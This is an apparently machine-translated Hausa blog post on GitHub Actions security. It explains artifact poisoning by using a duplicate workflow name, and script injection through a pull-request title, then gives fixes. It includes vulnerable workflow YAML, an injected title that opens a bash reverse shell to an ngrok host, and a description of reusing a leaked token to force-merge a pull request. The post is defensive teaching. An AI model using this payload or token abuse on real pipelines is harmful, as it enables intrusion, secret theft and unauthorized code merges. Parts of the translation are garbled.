A kan rubuce-rubucen da suka gabata (duba Guba kai tsaye Pipeline Aiwatarwa I-PPE da kuma Guba Pipeline Aiwatar da PPE , mun magance matsalar PPE (Guba Pipeline Kisa): mun ga yadda yake aiki, tasirinsa, wasu cin zarafi da kuma wasu hanyoyin kariya daga gare shi.
Wannan rubutun ya yi zurfi a cikin wani abu daban CI/CD pipeline raunin da ya shafi kamar gubar Artifact da allurar Code.
Domin yin hakan, za mu dogara ne akan PPE ta wata hanya, don haka bari mu yi ɗan taƙaitaccen bayani game da abin da muka gani game da PPE.
Aikin da ya gabata akan PPE
A taƙaice, mun fara da GitHub na asali pipeline don ginawa da gwada lambar da aka bayar ta hanyar pull request. Bugu da ƙari, yana bayyana wasu bincike waɗanda, idan an cika su, za su haɗa lambar zuwa babban reshen. Mun sanya wa wannan suna a matsayin Yanayi na 1.
A cikin rubutunmu na baya, mun nuna yadda wannan babban abu yake pipeline ya mai rauni ga D-PPE da I-PPE.
Mun sami nasarar gyara D-PPE by gyara abin da ke haifar da matsala daga buƙatar_pull_request to pull_request_target, yin pipeline lafiya ga D-PPEDomin tunatarwa, pipelines da aka kunna akan wani taron pull_request_target zai aiwatar da tushe pipeline lambar, ba lambar ba pipeline lambar da ke cikin rikodin pull request.
Mun sanya wa wannan suna kamar haka Yanayi na 2.
Sakamakon wannan sauyi, mun nuna cewa Yanayi na 2 har yanzu yana cikin haɗarin kamuwa da I-PPE.
Domin gyara shi, mun yanke shawara raba pipeline zuwa kashi biyu:
- Na farko pipeline (Gina CI) zai duba lambar PR (don gina shi), yi ginin kuma samar da wani kayan tarihi.
- Na biyu pipeline (Gwaji CI) zai duba lambar tushe (don guje wa gyaran rubutun harsashi) kuma aiwatar da rubutun asali akan kayan tarihi.
- Don daidaita gwajin CI pipeline don gudanar da BAYAN Gina CI pipeline, za mu yi amfani da gudanar da aiki jawo.
Mun sanya wa wannan suna kamar haka Yanayi na 3.
Bari mu dawo da lambar duka biyun pipelinebisa ga waɗannan gyare-gyaren…
1st pipeline (Gina CI):
name: Build CI
on:
pull_request_target:
branches: [ main ]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
prt_build_and_upload:
runs-on: ubuntu-latest
steps:
- name: Checking out PR code
uses: actions/checkout@v4
if: ${{ github.event_name == 'pull_request_target' }}
with:
# This is to get the PR code instead of the repo code
ref: ${{ github.event.pull_request.head.sha }}
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
# Upload the binary as a pipeline artifact
- name: Archive building artifacts
uses: actions/upload-artifact@v3
with:
name: archive-bin
path: |
bin
2nd pipeline (Gwajin CI):
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
deploy:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# By default, checks out base code (not PR code)
- name: Checkout repository
uses: actions/checkout@v4
# Download the artifact
- name: 'Download artifact'
uses: actions/github-script@v6
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
return artifact.name == "archive-bin"
})[0];
let download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: matchArtifact.id,
archive_format: 'zip',
});
let fs = require('fs');
fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
#
# For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
#
- name: pr_check_conditions_to_merge
id: check_pr
run: |
echo "check_conditions_to_merge"
PR_ID=$(<PR_ID.txt)
PR_TITLE=$(<PR_TITLE.txt)
echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
echo "merge=false" >> $GITHUB_OUTPUT
- name: pr_merge_pr_false
if: steps.check_pr.outputs.merge == 'false'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions NOT MEET!!!"
- name: pr_merge_pr_true
if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions successfully MEET!!!"
echo "Merging .."
PR_ID=$(<PR_ID.txt)
curl -L \
-X PUT \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_PAT" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
-d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
Guba ta Kayan Tarihi
A bisa ga abin da ke sama CI/CD pipelines:
- pipeline Gina CI is lafiya ga duka D-PPE (saboda pull_request_target) da kuma I-PPE (domin ba ya aiwatar da rubutun harsashi).
- pipeline Gwaji CI ne kuma lafiya ga duka D-PPE (saboda gudanar da aiki) da kuma I-PPE (saboda yana duba lambar tushe don samun rubutun harsashi na asali)
Bari mu zurfafa cikin wannan "mafita".
Pipeline Gwaji CI yana saukar da kayan tarihi a matsayin fayil ɗin zip.
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
Da zarar an buɗe zip ɗin, yana aiwatar da rubutun harsashi mai "aminci". Me yasa na ce rubutun harsashi mai "aminci"? Domin a wani mataki na baya, pipeline duba lambar "tushe", don haka rubutun asali ya shiga cikin babban fayil ɗin wurin aiki. Saboda haka, lokacin da pipeline yana aiwatar da rubutun harsashi da zai gudana ta amfani da binary da aka sauke a baya.
To, menene matsala da wannan hanyar? Matsalar ta zo lokacin da kowane mai amfani ya "ƙirƙira" sabon abu pipeline.
Idan mai amfani ya buɗe PR wanda ke ɗauke da sabon pipeline, GitHub zai aiwatar da hakan pipeline (idan aka yi la'akari da wasu sharuɗɗa, kamar yadda muka gani a baya post).
Ganin wannan, me zai faru idan mai amfani ya ƙirƙiri sabon pipeline da suna iri ɗaya da Gina CI? Eh, abin mamaki ne, amma GitHub yana ba ku damar ƙirƙirar hanyoyi guda biyu pipelines da suna iri ɗaya!!
Ka tuna cewa gwajin CI zai gudana bayan Gina CI…
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
Abin mamaki, domin yanzu akwai guda biyu pipelines da suna iri ɗaya, pipeline Gwajin CI zai yi aiki sau biyu: ɗaya bayan na asali pipeline da sauran bayan "sabon" pipeline.
Ta yaya ɗan kutse zai iya cin gajiyar wannan?
- Da farko, mai amfani da mugunta zai iya gyara rubutun harsashi don aika sirrin zuwa sabar da masu kutse ke sarrafawa.
- Na biyu, sabon pipeline ya haɗa da layi don kwafin rubutun harsashi da aka gyara zuwa kayan tarihi → guba ga kayan tarihict!!!
Lokacin da mai amfani ya buɗe PR tare da waɗannan canje-canje, "sabon" pipeline za a aiwatar da shi (loda wani kayan tarihi mai guba) da kuma Deploy CI pipeline za a yi aiki bayan haka, wanda hakan zai rubutun harsashin da aka "gyara" yana sake maye gurbin rubutun harsashin "asali" da ke cikin pipeline filin aiki.
Wannan shi ne abin da muke kira Guba ta Kayan Tarihi, watau ikon gyara (hack) pipeline dabaru ta hanyar gyara wani pipeline mutum ke sanya.
Daya yiwu gyarawa abu ne mai sauƙi: Kawai buɗe akwatin kayan tarihi zuwa ƙaramin fayil na wurin aiki zai guji sake rubuta rubutun harsashi na "tushe".
Allura Code
Bayan gubar kayan tarihi, za ku iya ganin wata illa a cikin lambar da ke sama?
Mu tafi!!
Kamar yadda kake gani a cikin lambar, pipeline Gina CI yana gina binary, yana loda binary azaman pipeline kayan tarihi kuma, ban da haka, yana loda wasu ƙarin bayanai: taken PR da kuma PR Id.
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Me yasa? Domin haɗa PR, kamar yadda kuke gani a ƙasa, Gwajin CI pipeline yana buƙatar lambar PR don amfani da GitHub REST API wanda ya haɗa PR.
Yaya gwajin CI yake yi pipeline sami wannan ID na PR? Raba bayanai a cikin fayilolin rubutu (wani ɓangare na pipeline kayan tarihi) hanya ce ta gama gari don raba bayanai tsakanin pipelines. Kuma wannan shine ainihin abin da waɗannan pipelines suna yi.
echo "Merging .."
PR_ID=$(<PR_ID.txt)
curl -L \
-X PUT \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_PAT" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
-d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
A takaice dai, ana buƙatar ID na PR kawai don haɗa PR, amma pipeline admin ya yanke shawarar Gina CI ya kuma haɗa da taken PR don haka Test CI pipeline zai buga wasu saƙonnin bayanai waɗanda ke ɗauke da PR Id da Title.
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
name: Test CI
[...]
PR_ID=$(<PR_ID.txt)
PR_TITLE=$(<PR_TITLE.txt)
echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
Taken PR koyaushe bayanai ne da ke fitowa daga mai amfani kuma, saboda haka, dole ne a yi la'akari da su a matsayin waɗanda ba a amince da su ba. Saboda haka pipeline dole ne a yi aiki da shi kamar haka kuma a ɗauki matakan kariya.
A cikin lambar da ke sama, za mu iya ganin takamaiman saƙon yana maimaita taken PR. Umarni ne kawai na "echo" na linux.
Ta hanyar haɗa igiyoyi, idan taken "taken banza ne", Github yana samar da rubutun ciki wanda ke ɗauke da
echo ""a dummy title""
Amma, menene idan taken PR zai kasance kamar haka:
Mugun taken" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "Rubutun zai zama:
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""
Sakamakon buɗe harsashi mai juyawa akan sabar da masu kutse ke sarrafawa.
Ana iya amfani da wannan harsashin baya don samun damar shiga pipeline secrets (ku tuna cewa Test CI yana gudana a yanayin gata saboda ana kunna shi ta hanyar workflows_run don haka yana da damar shiga sirri).
Amma, menene kuma za a iya yi ta hanyar wannan ɓangaren baya?
Duba lambar gwajin CI:
env:
GITHUB_PAT: ${{ secrets.GH_PAT }}
[...]
echo "Merging .."
PR_ID=$(<PR_ID.txt)
curl -L \
-X PUT \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_PAT" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
-d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
Kamar yadda kuke gani a cikin Gwajin CI pipeline, umarnin haɗin curl yana amfani da GITHUB_PAT (wanda aka ayyana a matsayin pipeline env var), don haka mai gudu yana ɗauke da GITHUB_PAT a matsayin canjin yanayi. Bugu da ƙari, yana kuma ƙirƙirar env var wanda ke karanta ID na PR.
Don haka ɗan kutsen yana buƙatar kwafin umarnin curl ɗin kuma ya manna shi a cikin harsashin baya, yana haɗa PR kai tsaye zuwa reshen da aka kare.
Domin kare duk wannan:
- To kauce wa haɗakar igiya tare da bayanan da ba a amince da su ba (wanda zai iya zama mai rauni ga allurar lambar) ta bayyanawa pipeline env vars maimakon amfani da shi kai tsaye a cikin umarnin echo
Maimakon amfani da:
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Yi amfani da wannan:
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "$PR_TITLE" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
env:
PR_TITLE: ${{github.event.pull_request.title}}
- Ko da tare da amfani da allurar code, umarnin haɗin curl ba zai yi nasara ba idan kun yi daidai kare naka pull requests ta hanyar wani bita ko amincewa na tilas.
karshe
Yana da wahala a kare shi ta wata hanya CI/CD pipelines sanyi da kuma samun pipelinebabu rauni.
Wannan baya nufin haka CI/CD tsarin (kamar yadda GitHub a wannan yanayin) suna da rauni a kansu. CI/CD tsarin yana samar da hanyoyin kariya daga rauni ... amma alhakin mai gudanarwa ne ya aiwatar da waɗannan kariyar.
Amma ... Ba za ka iya magance wata rauni ba sai ka san akwai ta!!!
Ba shakka cewa ƙwararren mai gudanarwa na devops zai iya tuna duk waɗannan barazanar kuma ya kare su yadda ya kamata CI/CD pipelines, amma, duk da haka, yana da matuƙar muhimmanci a yi amfani da samfur don gano duk waɗannan nau'ikan raunin. Kuma ba shakka a sarrafa wannan tsarin tsare raunin ta atomatik (misali, gudanar da scan ɗin a matsayin wani ɓangare na CI/CD pipelines).
Wannan hanyar za a iya kira ta "Tsaro Tsaro”:
- Ƙirƙiri sabon pipeline (Ƙofar Tsaro) don dubawa CI/CD pipelineraunin s da kuma yin sauran CI pipelineza a aiwatar da shi ne kawai bayan an kammala Kofar Tsaro cikin nasara pipeline.
- Ƙofar Tsaro pipelines zai duba CI/CD pipelineraunin s da kuma,
- Idan aka sami ƙuraje, zai gaza, saboda haka, ɗayan pipelineba za a aiwatar da s ba.
- Idan ba a sami ƙuraje ba, to pipeline zai yi nasara da sauran pipelines zai yi aiki kamar yadda aka saba.
